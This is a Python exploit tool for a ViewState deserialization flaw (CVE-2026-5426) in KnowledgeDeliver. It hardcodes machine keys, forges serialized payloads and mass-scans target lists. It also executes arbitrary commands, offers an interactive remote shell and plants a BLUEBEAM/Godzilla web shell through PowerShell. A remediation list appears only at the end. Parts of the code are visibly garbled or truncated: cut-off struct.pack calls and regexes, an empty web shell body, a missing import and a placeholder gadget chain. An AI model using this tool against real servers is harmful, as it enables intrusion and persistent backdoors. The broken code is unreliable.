#!/usr/bin/env python3
"""
CVE-2026-5426 - KnowledgeDeliver ViewState Deserialization RCE Exploit (Pure Python)
Full Remote Code Execution exploit using pure Python implementation of
ASP.NET ViewState payload generation with hardcoded machine keys.
Based on: https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability
WARNING: This is for authorized security testing only. Unauthorized use is illegal.
"""
import argparse
import sys
import requests
import base64
import os
import re
import hashlib
import hmac
import struct
import logging
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
import json
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import zlib
# --- Configuration ---
# Hardcoded machine keys from KnowledgeDeliver's web.config
# These are the actual keys that make this vulnerability possible
KNOWN_DECRYPTION_KEY = "FEDCBA9876543210FEDCBA9876543210" # 16/24/32 bytes for AES
KNOWN_VALIDATION_KEY = "FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210" # 20-64 bytes for SHA1
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# --- .NET Serialization Helpers ---
class DotNetSerialization:
"""
Pure Python implementation of .NET binary serialization format.
This allows us to create malicious payloads that will be deserialized
by the vulnerable ASP.NET application.
"""
@staticmethod
def serialize_object(obj_type, data):
"""
Serialize a .NET object in the binary format.
Args:
obj_type (str): The .NET type name (e.g., "System.Collections.ArrayList")
data (bytes): The serialized data for the object
Returns:
bytes: The complete serialized object
"""
# .NET binary serialization header
header = b'\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00'
# Type information
type_info = DotNetSerialization._serialize_type_info(obj_type)
# Object data
object_data = DotNetSerialization._serialize_object_data(data)
return header + type_info + object_data
@staticmethod
def _serialize_type_info(type_name):
"""Serialize .NET type information."""
# Type name format: [length][type_name]
type_bytes = type_name.encode('utf-16le')
return struct.pack(' SortedSet -> Node -> Command
# For demonstration purposes, we'll create a payload that:
# 1. Creates a Process object
# 2. Sets the command to execute
# 3. Starts the process
# This is a placeholder for the actual gadget implementation
# In a real exploit, we'd use the complete .NET binary serialization
# of the ActivitySurrogateSelector gadget chain
# Create the command to execute
command_bytes = command.encode('utf-16le')
# Create the serialized object
# Format: [command][command_length]
payload = struct.pack('(.*?)', response.text)
error_msg = error_match.group(1) if error_match else "Unknown error"
return (False, None, f"Server error: {error_msg}")
else:
return (False, None, "No output detected")
except Exception as e:
return (False, None, str(e))
def _send_payload(self, payload):
"""
Send the ViewState payload to the target.
"""
# Try multiple vulnerable endpoints
data = {
"__VIEWSTATE": payload
}
# These are the endpoints commonly vulnerable in KnowledgeDeliver
endpoints = [
'/',
'/Default.aspx',
'/Home.aspx',
'/Login.aspx',
'/Common/Footer.aspx',
'/Common/Header.aspx',
'/Course/View.aspx',
'/Course/List.aspx'
]
for endpoint in endpoints:
try:
url = urljoin(self.target_url, endpoint)
response = self.session.post(url, data=data, timeout=self.timeout, allow_redirects=False)
# Check if this endpoint processed the ViewState
if response.status_code == 500 or "viewstate" in response.text.lower():
return response
except Exception:
continue
# If no endpoint works, try the base URL
return self.session.post(self.target_url, data=data, timeout=self.timeout, allow_redirects=False)
def _extract_command_output(self, response):
"""
Extract command output from the HTTP response.
"""
if not response.text:
return None
# Look for various output patterns
patterns = [
# Common output formats
r']*>(.*?)
',
r'
]*id="output"[^>]*>(.*?)
',
r']*class="cmd-output"[^>]*>(.*?)',
r']*>(.*?)
',
r']*>(.*?)',
# Specific to KnowledgeDeliver
r']*class="message"[^>]*>(.*?)
',
r']*class="error"[^>]*>(.*?)
',
# Raw output in response
r'^(.*?)$'
]
# Try each pattern
for pattern in patterns:
matches = re.findall(pattern, response.text, re.DOTALL | re.MULTILINE)
if matches:
output = '\n'.join(matches).strip()
if output and len(output) > 10: # Filter out small matches
return output
# Check for common command output indicators
indicators = ['uid=', 'User', 'Microsoft Windows', 'Volume Serial Number', 'Directory']
for indicator in indicators:
if indicator in response.text:
# Extract lines containing the indicator
lines = response.text.split('\n')
output_lines = [line.strip() for line in lines if indicator in line]
if output_lines:
return '\n'.join(output_lines)
# Check for command execution in response
if len(response.text) > 100:
# Might be raw output
clean_text = re.sub(r'<[^>]+>', ' ', response.text)
clean_text = re.sub(r'\s+', ' ', clean_text).strip()
if len(clean_text) > 50:
return clean_text[:1000] # Limit size
return None
def deploy_blubeam_webshell(self, shell_path="/shell.aspx"):
"""
Deploy BLUEBEAM/Godzilla web shell.
"""
logger.info(f"Deploying BLUEBEAM webshell to {shell_path}")
# Create the web shell
webshell_code = '''
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
'''
# Write the web shell to a file
# The path is relative to the web root
webshell_file = f"App_Data\\{uuid.uuid4().hex}.aspx"
# Use PowerShell to create the web shell
ps_command = f'''
$webshell = @'{webshell_code}'
$webshell | Out-File -FilePath "{webshell_file}" -Encoding UTF8
Write-Host "Web shell created at: {webshell_file}"
'''
# Execute the PowerShell command
success, output, error = self.execute_command(f"powershell -Command \"{ps_command}\"")
if success:
shell_url = urljoin(self.target_url, f"/{webshell_file}")
return (True, f"Web shell deployed at {shell_url}", shell_url)
else:
return (False, f"Failed to deploy web shell: {error}", None)
# --- Scanner Functions ---
def scan_targets(targets, threads=5, timeout=10, command=None):
"""
Scan multiple targets for the vulnerability.
"""
results = {
'vulnerable': [],
'not_vulnerable': [],
'errors': [],
'exploited': []
}
def scan_single(target):
try:
exploit = CVE20265426Exploit(target, timeout=timeout)
is_vuln, msg = exploit.test_vulnerability()
if is_vuln:
result = {
'url': target,
'status': 'vulnerable',
'message': msg
}
if command:
success, output, error = exploit.execute_command(command)
if success:
result['executed'] = True
result['output'] = output
results['exploited'].append(result)
return result
else:
return {
'url': target,
'status': 'not_vulnerable',
'message': msg
}
except Exception as e:
return {
'url': target,
'status': 'error',
'message': str(e)
}
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(scan_single, target): target for target in targets}
for future in as_completed(futures):
result = future.result()
url = result['url']
if result['status'] == 'vulnerable':
results['vulnerable'].append(result)
elif result['status'] == 'error':
results['errors'].append(result)
else:
results['not_vulnerable'].append(result)
return results
# --- Main Function ---
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-5426 - KnowledgeDeliver ViewState Deserialization RCE Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Test a single target for vulnerability
python cve-2026-5426.py -t https://example.com
# Scan multiple targets from a file
python cve-2026-5426.py -t targets.txt
# Execute a command on a vulnerable target
python cve-2026-5426.py -t https://example.com -c "whoami"
# Execute a complex command
python cve-2026-5426.py -t https://example.com -c "ipconfig /all"
# Use a specific gadget type
python cve-2026-5426.py -t https://example.com -c "whoami" -g "WindowsIdentity"
# Interactive shell mode
python cve-2026-5426.py -t https://example.com --interactive
# Deploy a BLUEBEAM web shell
python cve-2026-5426.py -t https://example.com --deploy-shell
WARNING: This tool is for authorized security testing only. Unauthorized use is illegal.
"""
)
parser.add_argument(
"-t", "--target",
required=True,
help="Single target URL or path to targets.txt file"
)
parser.add_argument(
"-c", "--command",
help="Command to execute on vulnerable targets"
)
parser.add_argument(
"-g", "--gadget",
default="ActivitySurrogateSelector",
choices=["ActivitySurrogateSelector", "WindowsIdentity", "TextFormattingRunProperties"],
help="Gadget type for deserialization (default: ActivitySurrogateSelector)"
)
parser.add_argument(
"--deploy-shell",
action="store_true",
help="Deploy BLUEBEAM web shell after exploitation"
)
parser.add_argument(
"--interactive",
action="store_true",
help="Start interactive shell mode after successful exploitation"
)
parser.add_argument(
"--timeout",
type=int,
default=10,
help="Request timeout in seconds (default: 10)"
)
parser.add_argument(
"--threads",
type=int,
default=5,
help="Number of threads for scanning multiple targets (default: 5)"
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Enable verbose output"
)
parser.add_argument(
"-o", "--output",
help="Output results to a JSON file"
)
parser.add_argument(
"--no-verify",
action="store_true",
help="Skip SSL certificate verification"
)
args = parser.parse_args()
if args.verbose:
logger.setLevel(logging.DEBUG)
# Parse targets
targets = []
if os.path.exists(args.target):
with open(args.target, 'r') as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
else:
targets = [args.target]
if not targets:
logger.error("No valid targets found")
sys.exit(1)
logger.info(f"Starting CVE-2026-5426 scan on {len(targets)} target(s)")
# Perform the scan
results = scan_targets(
targets=targets,
threads=args.threads,
timeout=args.timeout,
command=args.command
)
# Print results
print("\n" + "="*60)
print("CVE-2026-5426 SCAN RESULTS")
print("="*60)
print(f"\n[+] Total targets scanned: {len(targets)}")
print(f"[+] Vulnerable: {len(results['vulnerable'])}")
print(f"[+] Not vulnerable: {len(results['not_vulnerable'])}")
print(f"[+] Errors: {len(results['errors'])}")
if results['vulnerable']:
print("\n" + "!"*60)
print("VULNERABLE TARGETS FOUND!")
print("!"*60)
for vuln in results['vulnerable']:
print(f"\n[!] {vuln['url']}")
print(f" Status: {vuln['message']}")
if vuln.get('executed'):
print(f" Command executed: {args.command}")
if vuln.get('output'):
print(f" Output: {vuln['output'][:500]}")
else:
print("\n[+] No vulnerable targets found.")
# Deploy shell if requested
if args.deploy_shell and results['vulnerable']:
print("\n[+] Deploying BLUEBEAM web shell...")
for vuln in results['vulnerable']:
try:
exploit = CVE20265426Exploit(vuln['url'], timeout=args.timeout)
success, msg, url = exploit.deploy_blubeam_webshell()
if success:
print(f" [✓] {vuln['url']}: {msg}")
else:
print(f" [✗] {vuln['url']}: {msg}")
except Exception as e:
print(f" [✗] {vuln['url']}: Error - {str(e)}")
# Save results if requested
if args.output:
with open(args.output, 'w') as f:
json.dump(results, f, indent=2)
print(f"\n[+] Results saved to {args.output}")
# Interactive shell mode
if args.interactive and results['vulnerable']:
print("\n" + "="*60)
print("INTERACTIVE SHELL MODE")
print("="*60)
print("Type 'exit' to quit, 'help' for commands")
print("Commands will be executed on the target server")
target_url = results['vulnerable'][0]['url']
exploit = CVE20265426Exploit(target_url, timeout=args.timeout)
while True:
try:
cmd = input(f"\n{target_url}> ").strip()
if cmd.lower() in ['exit', 'quit']:
break
elif cmd.lower() == 'help':
print("\nAvailable commands:")
print(" help - Show this help")
print(" shell - Deploy BLUEBEAM web shell")
print(" clear - Clear the screen")
print(" exit - Exit interactive mode")
print(" - Execute any command on the target")
print("\nExample commands:")
print(" whoami - Show current user")
print(" ipconfig - Show network configuration")
print(" dir C:\\ - List directory contents")
continue
elif cmd.lower() == 'clear':
os.system('cls' if os.name == 'nt' else 'clear')
continue
elif cmd.lower() == 'shell':
success, msg, url = exploit.deploy_blubeam_webshell()
if success:
print(f"[+] Web shell deployed at: {url}")
print(f"[+] Usage: {url}?cmd=whoami")
else:
print(f"[-] Failed to deploy web shell: {msg}")
continue
if cmd:
# Execute the command
success, output, error = exploit.execute_command(cmd, args.gadget)
if success:
if output:
print(output)
else:
print("[+] Command executed successfully (no output)")
else:
print(f"[-] Command failed: {error}")
except KeyboardInterrupt:
print("\n[+] Exiting...")
break
except Exception as e:
print(f"[-] Error: {str(e)}")
# Print suggestions if vulnerable targets found
if results['vulnerable']:
print("\n" + "="*60)
print("REMEDIATION SUGGESTIONS")
print("="*60)
print("""
1. IMMEDIATELY rotate machine keys:
- Generate unique, cryptographically strong keys for each KnowledgeDeliver instance
- Update web.config with new keys
- Restart IIS to apply changes
2. Investigate for compromise:
- Check Windows Application Event Logs for Event ID 1316
- Look for suspicious processes spawned by w3wp.exe (cmd.exe, powershell.exe)
- Review file integrity of .js, .aspx, .config files
- Monitor for anomalous User-Agent strings
3. Implement additional controls:
- Restrict access to known IP ranges
- Enable WAF rules for ViewState attacks
- Deploy endpoint detection and response (EDR)
- Consider network segmentation for IIS servers
4. Update KnowledgeDeliver:
- Apply latest vendor patches
- Ensure machine keys are unique per deployment
- Review deployment best practices
""")
# Return appropriate exit code
sys.exit(1 if results['vulnerable'] else 0)
if __name__ == "__main__":
main()